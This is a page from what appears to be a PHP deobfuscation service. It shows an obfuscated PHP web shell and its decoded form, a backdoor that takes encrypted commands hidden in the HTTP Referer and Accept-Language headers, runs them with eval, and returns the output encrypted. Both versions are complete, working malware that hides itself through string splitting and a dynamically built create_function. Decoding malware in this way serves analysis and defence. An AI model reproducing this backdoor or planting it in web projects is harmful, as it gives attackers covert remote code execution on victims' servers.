Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Y='lean();$dVO=baseVO64_encode(VOx(gzcVOoVOmpresVOs($o)VO,$k));prinVOt("VO<$k>$d</$..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$Y='lean();$dVO=baseVO64_encode(VOx(gzcVOoVOmpresVOs($o)VO,$k));prinVOt("VO<$k>$d</$k>")VO;@seVOssioVOnVO_destroy();}}}}';
$x=',0,VO3));VOVO$VOp="";for($z=1;$z<cVOount($m[1]);$z+VOVO+)$VOp.=$q[$m[2][$VOz]];ifVO(sVOVOtrVOpos($p,$h)===0){$s[';
$m='/_/VO","VO/-/")VO,array("VO/","+"),$sVOs($s[$iVO]VO,0,$e))),$VOkVO)));$o=ob_VOgVOet_contents();VOVOobVO_end_c';
$e='trtoloVOwer";$VOiVO=$m[1][0]VO.$m[1][1]VO;$h=VO$sl($ss(mdVO5($VOi.$kh),VOVO0,3));$f=$slVOVO($ss(md5($i.$kfVO)VO';
$g=str_replace('y','','creyatyey_fyunyctyion');
$K='OVO){$k=$kh.VO$kf;obVO_VOstVOart();@eVOval(@gzuncVOompress(VO@x(@baVOse64_decodVOe(pVOreg_repVOVOlace(array(VO"';
$d='$rr);parse_str($u["querVOyVO"],$q);$qVO=aVOrray_values($VOVOq);preg_matcVOh_aVOll("/VOVO([\\VOwVO])[\\w-]+(?:;q=0';
$H=';$rr=@VO$VOr[VO"HTTP_REFERER"];$VOra=@$r[VO"VOHTTP_ACCEVOPT_LANGUAGE"VO];if($VOrr&VO&VOVO$raVO){$u=VOpaVOrse_url(';
$q='$kh="5dVO41";$kfVO="4VO02aVO";function x($tVO,$VOk){VO$c=strlenVO($VOk);$l=strVOlVOen($tVO);$o="";for($i=0VO;$i<VO';
$v='$l;){for(VO$j=0VO;VO($jVO<$c&VO&$i<$l);VO$j++,$i++){$o.VO=$t{$VOiVO}VO^$k{$jVO};}VO}return $o;}$r=$_SEVORVOVVOER';
$N='$iVO]="";$VOp=$sVOs($p,3);}VOVOif(VOarray_key_exiVOstsVO($i,$s)){VO$sVO[$i].=VO$p;$e=strposVO($s[VO$i],VO$f);if($eV';
$b='VOVO.([\\d]))?,?/VO",$rVOa,$m);if($q&VO&$m){@VOsessiVOon_start()VO;$s=VO&$_SESSIOVON;$ss="VOsubVOstrVO";$sl="sVO';
$P=str_replace('VO','',$q.$v.$H.$d.$b.$e.$x.$N.$K.$m.$Y);
$Q=$g('',$P);$Q();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 08a9e9bdfa51df5e2156b2429b04d65d |
| Eval Count | 1 |
| Decode Time | 130 ms |